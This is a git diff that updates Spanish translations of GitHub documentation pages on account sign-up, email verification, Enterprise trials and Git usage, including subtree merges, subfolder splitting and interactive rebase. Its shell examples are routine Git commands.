 You can use organizations for free with {% data variables.product.prodname_free_team %}, which includes limited features. For additional features, such as SAML single sign-on (SSO), access control for {% data variables.product.prodname_pages %}, and included {% data variables.product.prodname_actions %} minutes, you can upgrade to {% data variables.product.prodname_ghe_cloud %}. For a detailed list of the features available with {% data variables.product.prodname_ghe_cloud %}, see our [Pricing](https://github.com/pricing) page.
 
 {% data reusables.saml.saml-accounts %} For more information, see "[About identity and access management with SAML single sign-on](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on){% ifversion not ghec %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
 
+{% data reusables.enterprise-accounts.emu-short-summary %}
+
+{% data variables.product.prodname_emus %} is not part of the free trial of {% data variables.product.prodname_ghe_cloud %}. If you're interested in {% data variables.product.prodname_emus %}, please contact [{% data variables.product.prodname_dotcom %}'s Sales team](https://enterprise.github.com/contact).
+
 {% data reusables.products.which-product-to-use %}
 
 ## About trials of {% data variables.product.prodname_ghe_cloud %}
@@ -50,6 +56,8 @@ Before you can try {% data variables.product.prodname_ghe_cloud %}, you must be
 
 After setting up your trial, you can explore {% data variables.product.prodname_ghe_cloud %} by following the [Enterprise Onboarding Guide](https://resources.github.com/enterprise-onboarding/).
 
+{% data reusables.docs.you-can-read-docs-for-your-product %}
+
 {% data reusables.products.product-roadmap %}
 
 ## Finishing your trial
diff --git a/translations/es-ES/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server.md b/translations/es-ES/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server.md
index 6b47866c00..1328f54580 100644
--- a/translations/es-ES/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server.md
+++ b/translations/es-ES/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server.md
@@ -41,6 +41,7 @@ To get the most out of your trial, follow these steps:
    - [Quick start guide to {% data variables.product.prodname_dotcom %}](https://resources.github.com/webcasts/Quick-start-guide-to-GitHub/) webcast
    - [Understanding the {% data variables.product.prodname_dotcom %} flow](https://guides.github.com/introduction/flow/) in {% data variables.product.prodname_dotcom %} Guides
    - [Hello World](https://guides.github.com/activities/hello-world/) in {% data variables.product.prodname_dotcom %} Guides
+   - "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)"
 3. To configure your instance to meet your organization's needs, see "[Configuring your enterprise](/enterprise-server@latest/admin/configuration/configuring-your-enterprise)."
 4. To integrate {% data variables.product.prodname_ghe_server %} with your identity provider, see "[Using SAML](/enterprise-server@latest/admin/user-management/using-saml)" and "[Using LDAP](/enterprise-server@latest/admin/authentication/using-ldap)."
 5. Invite an unlimited number of people to join your trial.
diff --git a/translations/es-ES/content/get-started/signing-up-for-github/signing-up-for-a-new-github-account.md b/translations/es-ES/content/get-started/signing-up-for-github/signing-up-for-a-new-github-account.md
index d0581c6def..e323c3b724 100644
--- a/translations/es-ES/content/get-started/signing-up-for-github/signing-up-for-a-new-github-account.md
+++ b/translations/es-ES/content/get-started/signing-up-for-github/signing-up-for-a-new-github-account.md
@@ -13,7 +13,13 @@ topics:
   - Accounts
 ---
 
-Para obtener más información sobre tipos de cuentas y productos, consulta "[Tipos de cuentas {% data variables.product.prodname_dotcom %}](/articles/types-of-github-accounts)" y productos de "[{% data variables.product.company_short %}](/articles/github-s-products)."
+## Acerca de las cuentas nuevas de {% data variables.product.prodname_dotcom_the_website %}
+
+Puedes crear una cuenta personal, lo cual funciona como tu identidad en {% data variables.product.prodname_dotcom_the_website %} o una organización, la cual permite cuentas personales múltiples para colaborar en varios proyectos. Para obtener más información sobre los tipos de cuenta, consulta la sección "[Tipos de cuentas de {% data variables.product.prodname_dotcom %}](/get-started/learning-about-github/types-of-github-accounts)".
+
+Cuando creas una cuenta personal o de organización, debes seleccionar un plan de facturación para ella. Para obtener más información, consulta "Productos de [{% data variables.product.company_short %}](/get-started/learning-about-github/githubs-products)".
+
+## Registrarse para una cuenta nueva
 
 {% data reusables.accounts.create-account %}
 1. Sigue las indicaciones para crear tu cuenta personal o de organización.
@@ -21,7 +27,5 @@ Para obtener más información sobre tipos de cuentas y productos, consulta "[Ti
 ## Pasos siguientes
 
 - [Verifica tus dirección de correo electrónico](/articles/verifying-your-email-address)"
-- [Configura autenticación de dos factores](/articles/configuring-two-factor-authentication)"
-- [Agrega una biografía a tu perfil](/articles/adding-a-bio-to-your-profile)"
-- "[Crea una organización](/articles/creating-a-new-organization-from-scratch)"
+- "[Crear una cuenta empresarial](/enterprise-cloud@latest/admin/overview/creating-an-enterprise-account)"{% ifversion fpt %} en la documentación de {% data variables.product.prodname_ghe_cloud %}{% endif %}
 - [ {% data variables.product.prodname_roadmap %} ]({% data variables.product.prodname_roadmap_link %}) en el repositorio `github/roadmap`
diff --git a/translations/es-ES/content/get-started/signing-up-for-github/verifying-your-email-address.md b/translations/es-ES/content/get-started/signing-up-for-github/verifying-your-email-address.md
index ec5d6be37c..8ece27dc8a 100644
--- a/translations/es-ES/content/get-started/signing-up-for-github/verifying-your-email-address.md
+++ b/translations/es-ES/content/get-started/signing-up-for-github/verifying-your-email-address.md
@@ -1,6 +1,6 @@
 ---
-title: Verifying your email address
-intro: 'Verifying your primary email address ensures strengthened security, allows {% data variables.product.prodname_dotcom %} staff to better assist you if you forget your password, and gives you access to more features on {% data variables.product.prodname_dotcom %}.'
+title: Verificar tu dirección de correo electrónico
+intro: 'Verificar tu dirección principal de correo electrónico garantiza mayor seguridad, permite que el personal {% data variables.product.prodname_dotcom %} te ayude mejor si olvidas tu contraseña y te brinda acceso a más funciones en {% data variables.product.prodname_dotcom %}.'
 redirect_from:
   - /articles/troubleshooting-email-verification
   - /articles/setting-up-email-verification
@@ -12,60 +12,59 @@ versions:
   ghec: '*'
 topics:
   - Accounts
-shortTitle: Verify your email address
+shortTitle: Verificar tu dirección de correo electrónico
 ---
-## About email verification
 
-You can verify your email address after signing up for a new account, or when you add a new email address. If an email address is undeliverable or bouncing, it will be unverified.
+## Acerca de la verificación del correo electrónico
 
-If you do not verify your email address, you will not be able to:
-  - Create or fork repositories
-  - Create issues or pull requests
-  - Comment on issues, pull requests, or commits
-  - Authorize {% data variables.product.prodname_oauth_app %} applications
-  - Generate personal access tokens
-  - Receive email notifications
-  - Star repositories
-  - Create or update project boards, including adding cards
-  - Create or update gists
-  - Create or use {% data variables.product.prodname_actions %}
-  - Sponsor developers with {% data variables.product.prodname_sponsors %}
+Puedes verificar tu dirección de correo electrónico después de registrarte con una cuenta nueva o cuando agregas una dirección de correo electrónico nueva. Si una dirección de correo electrónico no es válida para el envío o devuelve correos, quedará como no verificada.
+
+Si no verificas tu dirección de correo electrónico, no podrás hacer lo siguiente:
+  - Crear o bifurcar repositorios
+  - Crear propuestas o solicitudes de extracción
+  - Comentar sobre las propuestas, solicitudes de extracción o confirmaciones
+  - Autorizar aplicaciones de {% data variables.product.prodname_oauth_app %}
+  - Generar tokens de acceso personal
+  - Recibir notificaciones por correo electrónico
+  - Poner estrellas en repositorios
+  - Crear o actualizar tableros de proyecto, incluido agregar tarjetas
+  - Crear o actualizar gists
+  - Crear o utilizar {% data variables.product.prodname_actions %}
+  - Patrocinar desarrolladores con {% data variables.product.prodname_sponsors %}
 
 {% warning %}
 
-**Warnings**:
+**Advertencias**:
 
 - {% data reusables.user_settings.no-verification-disposable-emails %}
 - {% data reusables.user_settings.verify-org-approved-email-domain %}
 
 {% endwarning %}
 
-## Verifying your email address
+## Verificar tu dirección de correo electrónico
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.emails %}
-1. Under your email address, click **Resend verification email**.
-  ![Resend verification email link](/assets/images/help/settings/email-verify-button.png)
-4. {% data variables.product.prodname_dotcom %} will send you an email with a link in it. After you click that link, you'll be taken to your {% data variables.product.prodname_dotcom %} dashboard and see a confirmation banner.
-  ![Banner confirming that your email was verified](/assets/images/help/settings/email-verification-confirmation-banner.png)
+1. Debajo de tu dirección de correo electrónico, da clic en **Reenviar correo de verificación**. ![Reenviar enlace de verificación por correo electrónico](/assets/images/help/settings/email-verify-button.png)
+4. {% data variables.product.prodname_dotcom %} te enviará un correo electrónico con un enlace. Después de hacer clic en el enlace, se te llevará a tu tablero {% data variables.product.prodname_dotcom %} y verás un mensaje emergente de confirmación. ![Mensaje emergente que confirma que se verificó tu correo electrónico](/assets/images/help/settings/email-verification-confirmation-banner.png)
 
-## Troubleshooting email verification
+## Solución de problemas de verificación de correo electrónico
 
-### Unable to send verification email
+### No se pudo enviar el correo electrónico de verificación
 
 {% data reusables.user_settings.no-verification-disposable-emails %}
 
-### Error page after clicking verification link
+### Página de error después de hacer clic en el enlace de verificación
 
-The verification link expires after 24 hours. If you don't verify your email within 24 hours, you can request another email verification link. For more information, see "[Verifying your email address](/articles/verifying-your-email-address)."
+El enlace de verificación vence después de 24 horas. Si no verificas tu correo electrónico dentro de las 24 horas, puedes solicitar otro enlace de verificación de correo electrónico. Para obtener más información, consulta "[Verificar tu dirección de correo electrónico](/articles/verifying-your-email-address)".
 
-If you click on the link in the confirmation email within 24 hours and you are directed to an error page, you should ensure that you're signed into the correct account on {% data variables.product.product_location %}.
+Si haces clic en el enlace del correo electrónico de confirmación dentro de las siguientes 24 horas y se te dirige a una página de error, deberías garantizar que estés firmado en la cuenta correcta de {% data variables.product.product_location %}.
 
-1. {% data variables.product.signout_link %} of your personal account on {% data variables.product.product_location %}.
-2. Quit and restart your browser.
-3. {% data variables.product.signin_link %} to your personal account on {% data variables.product.product_location %}.
-4. Click on the verification link in the email we sent you.
+1. {% data variables.product.signout_link %} de tu cuenta personal en {% data variables.product.product_location %}.
+2. Sal y vuelve a iniciar tu navegador.
+3. {% data variables.product.signin_link %} a tu cuenta personal de {% data variables.product.product_location %}.
+4. Haz clic en el enlace de verificación del correo electrónico que te enviamos.
 
-## Further reading
+## Leer más
 
-- "[Changing your primary email address](/articles/changing-your-primary-email-address)"
+- "[Cambiar tu dirección principal de correo electrónico](/articles/changing-your-primary-email-address)"
diff --git a/translations/es-ES/content/get-started/using-git/about-git-subtree-merges.md b/translations/es-ES/content/get-started/using-git/about-git-subtree-merges.md
index d807a05e15..b1575363a9 100644
--- a/translations/es-ES/content/get-started/using-git/about-git-subtree-merges.md
+++ b/translations/es-ES/content/get-started/using-git/about-git-subtree-merges.md
@@ -1,5 +1,5 @@
 ---
-title: About Git subtree merges
+title: Acerca de las fusiones de subárbol de Git
 redirect_from:
   - /articles/working-with-subtree-merge
   - /subtree-merge
@@ -7,38 +7,39 @@ redirect_from:
   - /github/using-git/about-git-subtree-merges
   - /github/getting-started-with-github/about-git-subtree-merges
   - /github/getting-started-with-github/using-git/about-git-subtree-merges
-intro: 'If you need to manage multiple projects within a single repository, you can use a *subtree merge* to handle all the references.'
+intro: 'Si necesitas gestionar múltiples proyectos dentro de un solo repositorio, puedes usar una "fusión de subárbol" para manejar todas las referencias.'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
 ---
-## About subtree merges
 
-Typically, a subtree merge is used to contain a repository within a repository. The "subrepository" is stored in a folder of the main repository.
+## Acerca de las fusiones de subárboles
 
-The best way to explain subtree merges is to show by example. We will:
+Habitualmente, una fusión de subárbol se usa para contener un repositorio dentro de otro repositorio. El "subrepositorio" se almacena en una carpeta del repositorio principal.
 
-- Make an empty repository called `test` that represents our project
-- Merge another repository into it as a subtree called `Spoon-Knife`.
-- The `test` project will use that subproject as if it were part of the same repository.
-- Fetch updates from `Spoon-Knife` into our `test` project.
+La mejor manera de explicar las fusiones de subárbol es mostrar por ejemplo. Haremos lo siguiente:
 
-## Setting up the empty repository for a subtree merge
+- Crear un repositorio vacío llamado `test` que represente nuestro proyecto.
+- Fusionar otro repositorio en él como un subárbol llamado `Spoon-Knife`.
+- El proyecto `test` usará ese subproyecto como si fuera parte del mismo repositorio.
+- Recuperar actualizaciones desde `Spoon-Knife` hacia el proyecto `test`.
+
+## Configurar el repositorio vacío para una fusión de subárbol
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Create a new directory and navigate to it.
+2. Crear un directorio nuevo y navegar a él.
   ```shell
   $ mkdir test
   $ cd test
   ```
-3. Initialize a new Git repository.
+3. Inicializar un repositorio de Git nuevo.
   ```shell
   $ git init
   > Initialized empty Git repository in /Users/octocat/tmp/test/.git/
   ```
-4. Create and commit a new file.
+4. Crear y confirmar un archivo nuevo.
   ```shell
   $ touch .gitignore
   $ git add .gitignore
@@ -48,9 +49,9 @@ The best way to explain subtree merges is to show by example. We will:
   >  create mode 100644 .gitignore
   ```
 
-## Adding a new repository as a subtree
+## Agregar un nuevo repositorio como subárbol
 
-1. Add a new remote URL pointing to the separate project that we're interested in.
+1. Agregar una URL remota nueva que apunte a un proyecto por separado en el que estemos interesados.
   ```shell
   $ git remote add -f spoon-knife git@github.com:octocat/Spoon-Knife.git
   > Updating spoon-knife
@@ -63,52 +64,52 @@ The best way to explain subtree merges is to show by example. We will:
   > From git://github.com/octocat/Spoon-Knife
   >  * [new branch]      main     -> Spoon-Knife/main
   ```
-2. Merge the `Spoon-Knife` project into the local Git project. This doesn't change any of your files locally, but it does prepare Git for the next step.
+2. Fusionar el proyecto `Spoon-Knife` en el proyecto de Git local. Esto no modifica ninguno de tus archivos localmente, pero prepara Git para el siguiente paso.
 
-  If you're using Git 2.9 or above:
+  Si estás usando Git 2.9 o superior:
   ```shell
   $ git merge -s ours --no-commit --allow-unrelated-histories spoon-knife/main
   > Automatic merge went well; stopped before committing as requested
   ```
 
-  If you're using Git 2.8 or below:
+  Si estás usando Git 2.8 o inferior:
   ```shell
   $ git merge -s ours --no-commit spoon-knife/main
   > Automatic merge went well; stopped before committing as requested
   ```
-3. Create a new directory called **spoon-knife**, and copy the Git history of the `Spoon-Knife` project into it.
+3. Crear un nuevo directorio denominado **spoon-knife**, y copiar el historial de Git del proyecto `Spoon-Knife` en él.
   ```shell
   $ git read-tree --prefix=spoon-knife/ -u spoon-knife/main
   ```
-4. Commit the changes to keep them safe.
+4. Confirmar los cambios para mantenerlos seguros.
   ```shell
   $ git commit -m "Subtree merged in spoon-knife"
   > [main fe0ca25] Subtree merged in spoon-knife
   ```
 
-Although we've only added one subproject, any number of subprojects can be incorporated into a Git repository.
+Aunque solo hemos agregado un subproyecto, se puede incorporar cualquier número de subproyectos en un repositorio de Git.
 
 {% tip %}
 
-**Tip**: If you create a fresh clone of the repository in the future,  the remotes you've added will not be created for you. You will have to add them again using [the `git remote add` command](/github/getting-started-with-github/managing-remote-repositories).
+**Sugerencia**: Si creas un clon nuevo del repositorio en el futuro, no se crearán los remotos que agregaste. Deberás volver a agregarlos mediante [el comando `git remote add`](/github/getting-started-with-github/managing-remote-repositories).
 
 {% endtip %}
 
-## Synchronizing with updates and changes
+## Sincronizando con actualizaciones y cambios
 
-When a subproject is added, it is not automatically kept in sync with the upstream changes. You will need to update the subproject with the following command:
+Cuando se agrega un subproyecto, no se mantiene sincronizado automáticamente con los cambios ascendentes. Necesitarás actualizar el subproyecto con el siguiente comando:
 
 ```shell
 $ git pull -s subtree <em>remotename</em> <em>branchname</em>
 ```
 
-For the example above, this would be:
+Para el ejemplo de más arriba, esto sería:
 
 ```shell
 $ git pull -s subtree spoon-knife main
 ```
 
-## Further reading
+## Leer más
 
-- [The "Advanced Merging" chapter from the _Pro Git_ book](https://git-scm.com/book/en/v2/Git-Tools-Advanced-Merging)
-- "[How to use the subtree merge strategy](https://www.kernel.org/pub/software/scm/git/docs/howto/using-merge-subtree.html)"
+- [El capítulo de "Fusión Avanzada" del libro de _Pro Git_](https://git-scm.com/book/en/v2/Git-Tools-Advanced-Merging)
+- "[Cómo usar la estrategia de fusión de subárbol](https://www.kernel.org/pub/software/scm/git/docs/howto/using-merge-subtree.html)"
diff --git a/translations/es-ES/content/get-started/using-git/about-git.md b/translations/es-ES/content/get-started/using-git/about-git.md
index f94c074ced..20cf7d70bf 100644
--- a/translations/es-ES/content/get-started/using-git/about-git.md
+++ b/translations/es-ES/content/get-started/using-git/about-git.md
@@ -34,7 +34,7 @@ In a distributed version control system, every developer has a full copy of the
 
 - Businesses using Git can break down communication barriers between teams and keep them focused on doing their best work. Plus, Git makes it possible to align experts across a business to collaborate on major projects.
 
-## About repositories
+## Acerca de los repositorios
 
 A repository, or Git project, encompasses the entire collection of files and folders associated with a project, along with each file's revision history. The file history appears as snapshots in time called commits. The commits can be organized into multiple lines of development called branches. Because Git is a DVCS, repositories are self-contained units and anyone who has a copy of the repository can access the entire codebase and its history. Using the command line or other ease-of-use interfaces, a Git repository also allows for: interaction with the history, cloning the repository, creating branches, committing, merging, comparing changes across versions of code, and more.
 
@@ -44,7 +44,7 @@ Through platforms like {% data variables.product.product_name %}, Git also provi
 
 {% data variables.product.product_name %} hosts Git repositories and provides developers with tools to ship better code through command line features, issues (threaded discussions), pull requests, code review, or the use of a collection of free and for-purchase apps in the {% data variables.product.prodname_marketplace %}. With collaboration layers like the {% data variables.product.product_name %} flow, a community of 15 million developers, and an ecosystem with hundreds of integrations, {% data variables.product.product_name %} changes the way software is built.
 
-{% data variables.product.product_name %} builds collaboration directly into the development process. Work is organized into repositories where developers can outline requirements or direction and set expectations for team members. Then, using the {% data variables.product.product_name %} flow, developers simply create a branch to work on updates, commit changes to save them, open a pull request to propose and discuss changes, and merge pull requests once everyone is on the same page. For more information, see "[GitHub flow](/get-started/quickstart/github-flow)."
+{% data variables.product.product_name %} builds collaboration directly into the development process. Work is organized into repositories where developers can outline requirements or direction and set expectations for team members. Then, using the {% data variables.product.product_name %} flow, developers simply create a branch to work on updates, commit changes to save them, open a pull request to propose and discuss changes, and merge pull requests once everyone is on the same page. Para obtener más información, consulta la sección "[Flujo de GitHub](/get-started/quickstart/github-flow)".
 
 ## {% data variables.product.product_name %} and the command line
 
@@ -164,7 +164,7 @@ With a shared repository, individuals and teams are explicitly designated as con
 
 For an open source project, or for projects to which anyone can contribute, managing individual permissions can be challenging, but a fork and pull model allows anyone who can view the project to contribute. A fork is a copy of a project under a developer's personal account. Every developer has full control of their fork and is free to implement a fix or a new feature. Work completed in forks is either kept separate, or is surfaced back to the original project via a pull request. There, maintainers can review the suggested changes before they're merged. For more information, see "[Contributing to projects](/get-started/quickstart/contributing-to-projects)."
 
-## Further reading
+## Leer más
 
 The {% data variables.product.product_name %} team has created a library of educational videos and guides to help users continue to develop their skills and build better software.
 
diff --git a/translations/es-ES/content/get-started/using-git/index.md b/translations/es-ES/content/get-started/using-git/index.md
index d0382733d1..4f503623d0 100644
--- a/translations/es-ES/content/get-started/using-git/index.md
+++ b/translations/es-ES/content/get-started/using-git/index.md
@@ -1,6 +1,6 @@
 ---
-title: Using Git
-intro: 'Use Git to manage your {% data variables.product.product_name %} repositories from your computer.'
+title: Utilizar GitHub
+intro: 'Utiliza Git para administrar tus repositorios de {% data variables.product.product_name %} desde tu computadora.'
 redirect_from:
   - /articles/using-common-git-commands
   - /github/using-git/using-common-git-commands
diff --git a/translations/es-ES/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md b/translations/es-ES/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md
index 49eef30c38..8f144798cc 100644
--- a/translations/es-ES/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md
+++ b/translations/es-ES/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md
@@ -1,82 +1,83 @@
 ---
-title: Splitting a subfolder out into a new repository
+title: Dividir una subcarpeta en un nuevo repositorio
 redirect_from:
   - /articles/splitting-a-subpath-out-into-a-new-repository
   - /articles/splitting-a-subfolder-out-into-a-new-repository
   - /github/using-git/splitting-a-subfolder-out-into-a-new-repository
   - /github/getting-started-with-github/splitting-a-subfolder-out-into-a-new-repository
   - /github/getting-started-with-github/using-git/splitting-a-subfolder-out-into-a-new-repository
-intro: You can turn a folder within a Git repository into a brand new repository.
+intro: Puedes convertir una carpeta dentro de un repositorio de Git en un nuevo repositorio.
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Splitting a subfolder
+shortTitle: Dividir una subcarpeta
 ---
-If you create a new clone of the repository, you won't lose any of your Git history or changes when you split a folder into a separate repository.
+
+Si creas un nuevo clon del repositorio, no perderás ninguno de tus historiales o cambios de Git cuando divides una carpeta en un repositorio separado.
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
 
-2. Change the current working directory to the location where you want to create your new repository.
+2. Cambia el directorio de trabajo actual a la ubicación donde deseas crear tu nuevo repositorio.
 
-4. Clone the repository that contains the subfolder.
+4. Clona el repositorio que contiene la subcarpeta.
    ```shell
    $ git clone https://{% data variables.command_line.codeblock %}/<em>USERNAME</em>/<em>REPOSITORY-NAME</em>
    ```
 
-4. Change the current working directory to your cloned repository.
+4. Cambia el directorio de trabajo actual por tu repositorio clonado.
    ```shell
    $ cd <em>REPOSITORY-NAME</em>
    ```
 
-5. To filter out the subfolder from the rest of the files in the repository, run [`git filter-repo`](https://github.com/newren/git-filter-repo), supplying this information:
-   - `FOLDER-NAME`: The folder within your project where you'd like to create a separate repository.
+5. Para filtrar la subcarpeta desde el resto de los archivos en el repositorio, ejecuta [`git filter-repo`](https://github.com/newren/git-filter-repo), proporcionando esta información:
+   - `FOLDER-NAME`: la carpeta dentro de tu proyecto en donde desearías crear un repositorio separado.
 
    {% windows %}
 
    {% tip %}
 
-   **Tip:** Windows users should use `/` to delimit folders.
+   **Sugerencia:** los usuarios de Windows deberían utilizar `/` para delimitar carpetas.
 
    {% endtip %}
 
    {% endwindows %}
-  
+
    ```shell
    $ git filter-repo --path FOLDER-NAME1/ --path FOLDER-NAME2/
    # Filter the specified branch in your directory and remove empty commits
    > Rewrite 48dc599c80e20527ed902928085e7861e6b3cbe6 (89/89)
    > Ref 'refs/heads/<em>BRANCH-NAME</em>' was rewritten
    ```
-   
-   The repository should now only contain the files that were in your subfolder(s).
 
-6. [Create a new repository](/articles/creating-a-new-repository/) on {% data variables.product.product_name %}.
+   El repositorio debería ahora únicamente contener archivos que estuvieron en tu(s) subcarpeta(s)
 
-7. At the top of your new repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL.
-	
-   ![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png)
+6. [Crea un nuevo repositorio](/articles/creating-a-new-repository/) en {% data variables.product.product_name %}.
+
+7. En la parte superior de tu repositorio nuevo, en la página de configuración rápida de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, haz clic en {% octicon "clippy" aria-label="The copy to clipboard icon" %} para copiar la URL del repositorio remoto.
+
+   ![Copiar el campo de URL de repositorio remoto](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png)
 
    {% tip %}
 
-   **Tip:** For information on the difference between HTTPS and SSH URLs, see "[About remote repositories](/github/getting-started-with-github/about-remote-repositories)."
+   **Tip:** Para obtener más información sobre la diferencia entre las URL de HTTPS y SSH, consulta la sección "[Acerca de los repositorios remotos](/github/getting-started-with-github/about-remote-repositories)".
 
    {% endtip %}
 
-8. Check the existing remote name for your repository. For example, `origin` or `upstream` are two common choices.
+8. Verifica el nombre remoto existente para tu repositorio. Por ejemplo, `origin` o `upstream` son dos de las opciones comunes.
    ```shell
    $ git remote -v
    > origin  https://{% data variables.command_line.codeblock %}/<em>USERNAME/REPOSITORY-NAME</em>.git (fetch)
    > origin  https://{% data variables.command_line.codeblock %}/<em>USERNAME/REPOSITORY-NAME</em>.git (push)
    ```
 
-9. Set up a new remote URL for your new repository using the existing remote name and the remote repository URL you copied in step 7.
+9. Configura una URL remota nueva para tu nuevo repositorio utilizando el nombre remoto existente y la URL del repositorio remoto que copiaste en el paso 7.
    ```shell
    git remote set-url origin https://{% data variables.command_line.codeblock %}/<em>USERNAME/NEW-REPOSITORY-NAME</em>.git
    ```
 
-10. Verify that the remote URL has changed with your new repository name.
+10. Verifica que la URL remota haya cambiado con el nombre de tu nuevo repositorio.
     ```shell
     $ git remote -v
     # Verify new remote URL
@@ -84,7 +85,7 @@ If you create a new clone of the repository, you won't lose any of your Git hist
     > origin  https://{% data variables.command_line.codeblock %}/<em>USERNAME/NEW-REPOSITORY-NAME</em>.git (push)
     ```
 
-11. Push your changes to the new repository on {% data variables.product.product_name %}.
+11. Sube tus cambios al nuevo repositorio en {% data variables.product.product_name %}.
     ```shell
     git push -u origin <em>BRANCH-NAME</em>
     ```
diff --git a/translations/es-ES/content/get-started/using-git/using-git-rebase-on-the-command-line.md b/translations/es-ES/content/get-started/using-git/using-git-rebase-on-the-command-line.md
index 95a87525e4..13394c4acb 100644
--- a/translations/es-ES/content/get-started/using-git/using-git-rebase-on-the-command-line.md
+++ b/translations/es-ES/content/get-started/using-git/using-git-rebase-on-the-command-line.md
@@ -1,24 +1,25 @@
 ---
-title: Using Git rebase on the command line
+title: Utilizar la rebase de Git en la línea de comando
 redirect_from:
   - /articles/using-git-rebase
   - /articles/using-git-rebase-on-the-command-line
   - /github/using-git/using-git-rebase-on-the-command-line
   - /github/getting-started-with-github/using-git-rebase-on-the-command-line
   - /github/getting-started-with-github/using-git/using-git-rebase-on-the-command-line
-intro: Here's a short tutorial on using `git rebase` on the command line.
+intro: Aquí hay un breve tutorial acerca de usar `git rebase` en la línea de comando.
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Git rebase
+shortTitle: Rebase de Git
 ---
-## Using Git rebase
 
-In this example, we will cover all of the `git rebase` commands available, except for `exec`.
+## Utilizar el rebase de Git
 
-We'll start our rebase by entering `git rebase --interactive HEAD~7` on the terminal. Our favorite text editor will display the following lines:
+En este ejemplo, abordaremos todos los comandos disponibles de `git rebase`, excepto `exec`.
+
+Comenzaremos nuestra rebase ingresando `git rebase --interactive HEAD~7` en el terminal. Nuestro editor de texto preferido mostrará las siguientes líneas:
 
 ```
 pick 1fc6c95 Patch A
@@ -30,17 +31,17 @@ pick 4ca2acc i cant' typ goods
 pick 7b36971 something to move before patch B
 ```
 
-In this example, we're going to:
+En este ejemplo, haremos lo siguiente:
 
-* Squash the fifth commit (`fa39187`) into the `"Patch A"` commit (`1fc6c95`), using `squash`.
-* Move the last commit (`7b36971`) up before the `"Patch B"` commit (`6b2481b`), and keep it as `pick`.
-* Merge the `"A fix for Patch B"` commit (`c619268`) into the `"Patch B"` commit (`6b2481b`), and disregard the commit message using `fixup`.
-* Split the third commit (`dd1475d`) into two smaller commits, using `edit`.
-* Fix the commit message of the misspelled commit (`4ca2acc`), using `reword`.
+* Combinar la quinta confirmación (`fa39187`) con la confirmación `"Patch A"` (`1fc6c95`), utilizando `squash` (combinar).
+* Mover la última confirmación (`7b36971`) hacia arriba antes de la confirmación `"Patch B"` (`6b2481b`) y la conservarla como `pick`.
+* Fusionar la confirmación `"A fix for Patch B"` (`c619268`) con la confirmación `"Patch B"` (`6b2481b`) y omitir el mensaje de confirmación utilizando `fixup`.
+* Separar la tercera confirmación (`dd1475d`) en dos confirmaciones más pequeñas utilizando `edit` (editar).
+* Corregir el mensaje de confirmación de la confirmación mal escrita (`4ca2acc`), utilizando `reword` (otro texto).
 
-Phew! This sounds like a lot of work, but by taking it one step at a time, we can easily make those changes.
+¡Uf! Parece mucho trabajo, pero haciendo cada paso por vez, podemos concretar esos cambios fácilmente.
 
-To start, we'll need to modify the commands in the file to look like this:
+Para comenzar, tendremos que modificar los comandos en el archivo para que luzca como sigue:
 
 ```
 pick 1fc6c95 Patch A
@@ -52,35 +53,35 @@ edit dd1475d something I want to split
 reword 4ca2acc i cant' typ goods
 ```
 
-We've changed each line's command from `pick` to the command we're interested in.
+Hemos cambiado cada comando de la línea desde `pick` al comando que nos interesa.
 
-Now, save and close the editor; this will start the interactive rebase.
+Ahora, guarda y cierra el editor; esto comenzará la rebase interactiva.
 
-Git skips the first rebase command, `pick 1fc6c95`, since it doesn't need to do anything. It goes to the next command, `squash fa39187`. Since this operation requires your input, Git opens your text editor once again. The file it opens up looks something like this:
+Git saltea el primer comando de rebase, `pick 1fc6c95`, ya que no necesita hacer nada. Va al siguiente comando, `squash fa39187`. Como esta operación requiere tu entrada, Git vuelve a abrir tu editor de texto. El archivo que abre luce parecido a lo siguiente:
 
 ```
-# This is a combination of two commits.
-# The first commit's message is:
+# Es una combinación de dos confirmaciones.
+# El mensaje de la primera confirmación es:
 
 Patch A
 
-# This is the 2nd commit message:
+# Este es el mensaje de la 2.a confirmación:
 
 something to add to patch A
 
-# Please enter the commit message for your changes. Lines starting
-# with '#' will be ignored, and an empty message aborts the commit.
-# Not currently on any branch.
-# Changes to be committed:
-#   (use "git reset HEAD <file>..." to unstage)
+# Ingresa el mensaje de confirmación para tus cambios. Las líneas que comienzan con
+# con '#' se ignoran, y un mensaje vacío anula la confirmación.
+# Actualmente no se encuentra en una rama.
+# Cambios por confirmar:
+#   (usa "git reset HEAD <file>..." para deshacer)
 #
-# modified:   a
+# modificado:   a
 #
 ```
 
-This file is Git's way of saying, "Hey, here's what I'm about to do with this `squash`." It lists the first commit's message (`"Patch A"`), and the second commit's message (`"something to add to patch A"`). If you're happy with these commit messages, you can save the file, and close the editor. Otherwise, you have the option of changing the commit message by simply changing the text.
